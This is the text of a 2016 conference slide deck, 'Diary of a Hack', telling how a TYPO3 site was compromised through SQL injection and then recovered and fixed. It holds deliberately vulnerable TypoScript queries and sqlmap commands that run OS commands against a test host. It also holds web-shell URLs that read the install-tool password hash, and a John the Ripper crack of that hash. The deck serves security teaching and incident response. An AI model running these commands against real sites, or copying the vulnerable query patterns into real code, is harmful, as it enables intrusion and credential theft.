際際滷

際際滷Share a Scribd company logo
Inspiring people to
share
Diary of a Hack
Vulnerabilities and Attacks
Diary of a Hack
Helmut Hummel <info@helhum.io>
22.04.2016
Vulnerabilities and Exploits
1
2
@helhum
Security
3
4
http://typotic.com/uploads/posts/3427/funny-dude-this-is-boring-01.jpg
5
http://www.pxleyes.com/images/contests/teddy-bears-2/fullsize/Story-time-507bf54d589a1_hires.jpg
6
http://www.value-scope.com/wp-content/uploads/bug_vs_feature.gif
7
http://www.value-scope.com/wp-content/uploads/bug_vs_feature.gif
8
http://i.telegraph.co.uk/multimedia/archive/02210/squirrel_2210134b.jpg
9
https://xkcd.com/327/
10
http://www.kitploit.com/2013/06/john-ripper-v180-fast-password-cracker.html
11
https://ilifejourney.鍖les.wordpress.com/2011/11/spaghetti-mess.jpg
12
http://img3.wikia.nocookie.net/__cb20121122132016/villains/images/f/fb/Janitor_2.jpg
13
http://i.livescience.com/images/i/000/029/390/i02/shutterstock_105432542.jpg?1343404330
14
Diary of a Hack
15
Diary of a Hack
Day 1 - Implementing a feature
16
Diary of a Hack
17
lib.sqliSimple = CONTENT
lib.sqliSimple {
	 table = tt_content
	 select.where.wrap = colPos=|
	 select.where.data = GP:colPos
}
Diary of a Hack
18
lib.sqliSearch = CONTENT
lib.sqliSearch {
	 table = tt_content
	 select.where.wrap = header like '%|%'
	 select.where.data = GP:search
}
Diary of a Hack
Day 2 - Testing the feature
19
Diary of a Hack
20
Diary of a Hack
21
'BE/debug' => '1'	
'FE/debug' => '1'	
'SYS/devIPmask' => '*'	
'SYS/displayErrors' => '1'	
'SYS/sqlDebug' => '1'	
'SYS/exceptionalErrors' => '28674'
Diary of a Hack
22
Diary of a Hack
23
'DB/username' => 'root'
Diary of a Hack
24
Diary of a Hack
Day 3 - Distraction
25
Diary of a Hack
26
Diary of a Hack
Day 4 - Attraction
27
Diary of a Hack
28
https://www.google.de/?q=exec_SELECTquery+%22You
+have+an+error+in+your+SQL+syntax%22
Diary of a Hack
Day 5 - Exploitation
29
Inspiring people to
share
Diary of a Hack
Vulnerabilities and Attacks
Excursion - SQLi
30
Excursion - SQLi
31
SELECT *
FROM tt_content
WHERE colPos = 0
32
'SELECT *
FROM tt_content
WHERE colPos = ' . $_GET['colPos']
Excursion - SQLi
33
Excursion - SQLi
34
'SELECT *
FROM tt_content
WHERE colPos = ' . $_GET['colPos']
Excursion - SQLi
35
'SELECT *
FROM tt_content
WHERE colPos = 0 or hidden = 1'
$_GET['colPos']
Excursion - SQLi
Disclaimer
36
Dont do this at home!
37
(unless you have written permit)
38
Diary of a Hack
39
$ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos'	
!
GET parameter 'colPos' is vulnerable. Do you want to keep testing the others?
[y/N] 	
sqlmap identified the following injection points with a total of 30 HTTP(s)
requests:
Inspiring people to
share
Diary of a Hack
Vulnerabilities and Attacks
The power of MySQL
40
Diary of a Hack
41
$ sqlmap -u 'http://security.dev/index.php?id=37&colPos=0' -p 'colPos' 	
os-cmd='ls -al'
Diary of a Hack
42
Diary of a Hack
43
http://security.dev/tmpbrsru.php?cmd=touch%20typo3conf/
ENABLE_INSTALL_TOOL	
!
http://security.dev/typo3/sysext/install/Start/Install.php	
!
http://security.dev/tmpbrsru.php?cmd=grep%20installToolPassword
%20typo3conf/LocalConfiguration.php
Diary of a Hack
44
$ john pw	
Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x5])	
password (dummy)	
guesses: 1 time: 0:00:00:01 DONE (Thu Jun 4 11:00:44 2015) c/s: 900
trying: 123456 - fishing
Diary of a Hack
45
Diary of a Hack
Day 5 - Discovery
46
Diary of a Hack
Discovery
 Take site of鍖ine!
 seriously
 I mean it
47
48
Diary of a Hack
Day 6 - Analysis
49
Diary of a Hack
Analysis
 Make a backup of current state (鍖les, DB, logs)
 Search all logs for suspicious entries
 Find point of entry (security issue)
 If in doubt: get help
50
Diary of a Hack
Day 7 - Fix
51
Diary of a Hack
52
lib.sqliSimple = CONTENT
lib.sqliSimple {
	 table = tt_content
	 select.where = colPos=###colPos###
	 select.markers {
	 	 colPos.data = GP:colPos
	 }
}
Diary of a Hack
53
lib.sqliSearch = CONTENT
lib.sqliSearch {
	 table = tt_content
	 select.where = header like ###search###
	 select.markers {
	 	 search.data = GP:search
	 	 search.wrap = %|%
	 }
}
Diary of a Hack
Fix
 Close security issue in Code/ Extension/ Core
 Restore from backup
 Or if you really know what you are doing: cleanup
installation
 Go online again
 Plan improvements (education, monitoring, )
54
Diary of a Hack
Day 8 - Improve
55
Inspiring people to
share
Security of Web Applications
Vulnerabilities and Attacks
Topictext
Lessons learned
 Development/ Testing Environment
 Deploy to Production
 Least privilege
 There is no Software without bugs. Be prepared!
56
Diary of a Hack
Best Practice
 Operations
 Regular updates
 Backups
 Monitoring
 Development
 Peer Reviews (TypoScript, Code, Templates)
 (automated) Tests
 Focus
 Education
 Allocate time for all of the above
57
Questions?
58
Inspiring people to
share
Security of Web Applications
Vulnerabilities and Attacks
Diary of a Hack
Resources
 http://docs.typo3.org/typo3cms/SecurityGuide/
 http://sqlmap.org
 http://www.openwall.com/john/
 https://www.owasp.org/
59
Thank you!
60
61
@helhum
http://helhum.io
info@helhum.io

Recommended

API Pain Points (PHPNE)
API Pain Points (PHPNE)
Phil Sturgeon
Api pain points
Api pain points
Phil Sturgeon
Concept History
Concept History
jonphipps
Docker Plugin For DevSecOps
Docker Plugin For DevSecOps
Pichaya Morimoto
SmartData Webinar 際際滷s JSON-LD
SmartData Webinar 際際滷s JSON-LD
DATAVERSITY
We need t go deeper - Testing inception apps.
We need t go deeper - Testing inception apps.
SecuRing
T3DD10 Security Workshop
T3DD10 Security Workshop
Helmut Hummel
TYPO3 Surf Introduction
TYPO3 Surf Introduction
Helmut Hummel
On hacking & security
On hacking & security
Ange Albertini
How an Attacker "Audits" Your Software Systems
How an Attacker "Audits" Your Software Systems
Security Innovation
Identifying & fixing the most common software vulnerabilities
Identifying & fixing the most common software vulnerabilities
Alireza Aghamohammadi
Beyond the OWASP Top 10
Beyond the OWASP Top 10
iphonepentest
Demystify Information Security & Threats for Data-Driven Platforms With Cheta...
Demystify Information Security & Threats for Data-Driven Platforms With Cheta...
Chetan Khatri
State of Web Security RailsConf 2016
State of Web Security RailsConf 2016
IMMUNIO
Firewalls (Distributed computing)
Firewalls (Distributed computing)
Sri Prasanna
Java secure development part 1
Java secure development part 1
Rafel Ivgi
Real life hacking101
Real life hacking101
Florent Batard
DEFCON 23 - Jason Haddix - how do i shot web
DEFCON 23 - Jason Haddix - how do i shot web
Felipe Prado
The Dark Arts of Hacking.
The Dark Arts of Hacking.
Sumutiu Marius
Path of Cyber Security
Path of Cyber Security
Satria Ady Pradana
Path of Cyber Security
Path of Cyber Security
Satria Ady Pradana
PROTECT AND SURVIVE SAFEGUARDING YOUR INFORMATION ASSETS - #MFSummit2017
PROTECT AND SURVIVE SAFEGUARDING YOUR INFORMATION ASSETS - #MFSummit2017
Micro Focus
PLMCE - Security and why you need to review yours
PLMCE - Security and why you need to review yours
David Busby, CISSP
Started In Security Now I'm Here
Started In Security Now I'm Here
Christopher Grayson
Web Application Protection
Web Application Protection
ISCTE-IUL ACM Student Chapter
6 - Web Application Security.pptx
6 - Web Application Security.pptx
AlmaOraevi
Hack applications
Hack applications
enrizmoore
SmartphoneHacking_Android_Exploitation
SmartphoneHacking_Android_Exploitation
Malachi Jones
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software

More Related Content

Similar to Diary of a Hack (20)

On hacking & security
On hacking & security
Ange Albertini
How an Attacker "Audits" Your Software Systems
How an Attacker "Audits" Your Software Systems
Security Innovation
Identifying & fixing the most common software vulnerabilities
Identifying & fixing the most common software vulnerabilities
Alireza Aghamohammadi
Beyond the OWASP Top 10
Beyond the OWASP Top 10
iphonepentest
Demystify Information Security & Threats for Data-Driven Platforms With Cheta...
Demystify Information Security & Threats for Data-Driven Platforms With Cheta...
Chetan Khatri
State of Web Security RailsConf 2016
State of Web Security RailsConf 2016
IMMUNIO
Firewalls (Distributed computing)
Firewalls (Distributed computing)
Sri Prasanna
Java secure development part 1
Java secure development part 1
Rafel Ivgi
Real life hacking101
Real life hacking101
Florent Batard
DEFCON 23 - Jason Haddix - how do i shot web
DEFCON 23 - Jason Haddix - how do i shot web
Felipe Prado
The Dark Arts of Hacking.
The Dark Arts of Hacking.
Sumutiu Marius
Path of Cyber Security
Path of Cyber Security
Satria Ady Pradana
Path of Cyber Security
Path of Cyber Security
Satria Ady Pradana
PROTECT AND SURVIVE SAFEGUARDING YOUR INFORMATION ASSETS - #MFSummit2017
PROTECT AND SURVIVE SAFEGUARDING YOUR INFORMATION ASSETS - #MFSummit2017
Micro Focus
PLMCE - Security and why you need to review yours
PLMCE - Security and why you need to review yours
David Busby, CISSP
Started In Security Now I'm Here
Started In Security Now I'm Here
Christopher Grayson
Web Application Protection
Web Application Protection
ISCTE-IUL ACM Student Chapter
6 - Web Application Security.pptx
6 - Web Application Security.pptx
AlmaOraevi
Hack applications
Hack applications
enrizmoore
SmartphoneHacking_Android_Exploitation
SmartphoneHacking_Android_Exploitation
Malachi Jones
On hacking & security
On hacking & security
Ange Albertini
How an Attacker "Audits" Your Software Systems
How an Attacker "Audits" Your Software Systems
Security Innovation
Identifying & fixing the most common software vulnerabilities
Identifying & fixing the most common software vulnerabilities
Alireza Aghamohammadi
Beyond the OWASP Top 10
Beyond the OWASP Top 10
iphonepentest
Demystify Information Security & Threats for Data-Driven Platforms With Cheta...
Demystify Information Security & Threats for Data-Driven Platforms With Cheta...
Chetan Khatri
State of Web Security RailsConf 2016
State of Web Security RailsConf 2016
IMMUNIO
Firewalls (Distributed computing)
Firewalls (Distributed computing)
Sri Prasanna
Java secure development part 1
Java secure development part 1
Rafel Ivgi
Real life hacking101
Real life hacking101
Florent Batard
DEFCON 23 - Jason Haddix - how do i shot web
DEFCON 23 - Jason Haddix - how do i shot web
Felipe Prado
The Dark Arts of Hacking.
The Dark Arts of Hacking.
Sumutiu Marius
PROTECT AND SURVIVE SAFEGUARDING YOUR INFORMATION ASSETS - #MFSummit2017
PROTECT AND SURVIVE SAFEGUARDING YOUR INFORMATION ASSETS - #MFSummit2017
Micro Focus
PLMCE - Security and why you need to review yours
PLMCE - Security and why you need to review yours
David Busby, CISSP
Started In Security Now I'm Here
Started In Security Now I'm Here
Christopher Grayson
6 - Web Application Security.pptx
6 - Web Application Security.pptx
AlmaOraevi
Hack applications
Hack applications
enrizmoore
SmartphoneHacking_Android_Exploitation
SmartphoneHacking_Android_Exploitation
Malachi Jones

Recently uploaded (20)

FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Alliance
AI vs Human Writing: Can You Tell the Difference?
AI vs Human Writing: Can You Tell the Difference?
Shashi Sathyanarayana, Ph.D
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Alliance
Turning the Page How AI is Exponentially Increasing Speed, Accuracy, and Ef...
Turning the Page How AI is Exponentially Increasing Speed, Accuracy, and Ef...
Impelsys Inc.
June Patch Tuesday
June Patch Tuesday
Ivanti
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
Fwdays
From Enterprise to Makers: Driving Vision AI Innovation at the Extreme Edge,...
From Enterprise to Makers: Driving Vision AI Innovation at the Extreme Edge,...
Edge AI and Vision Alliance
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
Creating Inclusive Digital Learning with AI: A Smarter, Fairer Future
Creating Inclusive Digital Learning with AI: A Smarter, Fairer Future
Impelsys Inc.
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
Safe Software
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Alliance
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
Wenn alles versagt - IBM Tape sch端tzt, was z辰hlt! Und besonders mit dem neust...
Wenn alles versagt - IBM Tape sch端tzt, was z辰hlt! Und besonders mit dem neust...
Josef Weingand
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Safe Software
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Alliance
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Seminar: Perspectives on Passkeys & Consumer Adoption.pptx
FIDO Alliance
Enabling BIM / GIS integrations with Other Systems with FME
Enabling BIM / GIS integrations with Other Systems with FME
Safe Software
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Seminar: New Data: Passkey Adoption in the Workforce.pptx
FIDO Alliance
AI vs Human Writing: Can You Tell the Difference?
AI vs Human Writing: Can You Tell the Difference?
Shashi Sathyanarayana, Ph.D
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Seminar: Targeting Trust: The Future of Identity in the Workforce.pptx
FIDO Alliance
Turning the Page How AI is Exponentially Increasing Speed, Accuracy, and Ef...
Turning the Page How AI is Exponentially Increasing Speed, Accuracy, and Ef...
Impelsys Inc.
June Patch Tuesday
June Patch Tuesday
Ivanti
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
"How to survive Black Friday: preparing e-commerce for a peak season", Yurii ...
Fwdays
From Enterprise to Makers: Driving Vision AI Innovation at the Extreme Edge,...
From Enterprise to Makers: Driving Vision AI Innovation at the Extreme Edge,...
Edge AI and Vision Alliance
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
MuleSoft for AgentForce : Topic Center and API Catalog
MuleSoft for AgentForce : Topic Center and API Catalog
shyamraj55
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
Creating Inclusive Digital Learning with AI: A Smarter, Fairer Future
Creating Inclusive Digital Learning with AI: A Smarter, Fairer Future
Impelsys Inc.
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
FME for Distribution & Transmission Integrity Management Program (DIMP & TIMP)
Safe Software
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Seminar: Authentication for a Billion Consumers - Amazon.pptx
FIDO Alliance
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance Seminar State of Passkeys.pptx
FIDO Alliance
Wenn alles versagt - IBM Tape sch端tzt, was z辰hlt! Und besonders mit dem neust...
Wenn alles versagt - IBM Tape sch端tzt, was z辰hlt! Und besonders mit dem neust...
Josef Weingand
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Powering Multi-Page Web Applications Using Flow Apps and FME Data Streaming
Safe Software
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Seminar: Evolving Landscape of Post-Quantum Cryptography.pptx
FIDO Alliance

Diary of a Hack